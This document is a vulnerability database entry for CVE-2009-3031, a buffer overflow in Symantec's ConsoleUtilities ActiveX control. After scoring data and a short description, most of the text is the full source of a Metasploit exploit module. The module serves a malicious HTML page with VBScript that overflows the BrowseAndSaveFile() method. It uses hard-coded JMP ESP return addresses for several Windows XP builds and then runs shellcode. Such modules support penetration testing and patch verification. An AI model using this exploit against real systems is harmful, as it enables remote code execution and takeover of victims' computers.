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Nikolas Sotiriu (lofi)MSF:EXPLOIT-WINDOWS-BROWSER-SYMANTEC_CONSOLEUTILITIES_BROWSEANDSAVEFILE-

HistoryNov 02, 2009 - 9:02 p.m.

Symantec ConsoleUtilities ActiveX Control Buffer Overflow

2009-11-0221:02:45

Nikolas Sotiriu (lofi)

www.rapid7.com

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

AI Score

8.3

Confidence

Low

EPSS

0.96

Percentile

99.5%

JSON

This module exploits a stack buffer overflow in Symantecs ConsoleUtilities. By sending an overly long string to the “BrowseAndSaveFile()” method located in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to execute arbitrary code

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Symantecs ConsoleUtilities.
        By sending an overly long string to the "BrowseAndSaveFile()" method located
        in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to
        execute arbitrary code
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Nikolas Sotiriu (lofi)' ],
      'References'     =>
        [
          [ 'CVE', '2009-3031'],
          [ 'OSVDB', '59597'],
          [ 'BID', '36698'],
          [ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ],
          [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1000,
          'BadChars'      => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 English', 	    { 'Ret' => 0x7e47bcaf } ],
          [ 'Windows XP SP2 Universal',	    { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP
          [ 'Windows XP SP2 Pro German',      { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP
          [ 'Windows XP SP3 Pro German',      { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP
        ],
      'DisclosureDate' => '2009-11-02',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize variables
    vname   = rand_text_alpha(rand(20) + 1)
    junk    = rand_text_alpha(rand(20) + 1)
    eip     = rand_text_alpha(rand(20) + 1)
    morejunk = rand_text_alpha(rand(20) + 1)
    sc      = rand_text_alpha(rand(20) + 1)
    buf = rand_text_alpha(rand(20) + 1)

    # Set RET and shellcode
    ret = Rex::Text.to_unescape([target.ret].pack('V'))
    shellcode = Rex::Text.to_unescape(p.encoded)

    # Build the Site
    content = %Q|
  <html>
    <object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='#{vname}'></object>
    <script language='vbscript'>

    #{junk}=String(310,"A")
    #{eip}=unescape("#{ret}")
    #{morejunk}=String(18, unescape("%u0041"))
    #{sc}=unescape("#{shellcode}")

    #{buf}=#{junk}+#{eip}+#{morejunk}+#{sc}
    #{vname}.BrowseAndSaveFile "",#{buf},"","",""
    </script>
  </html>
    |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end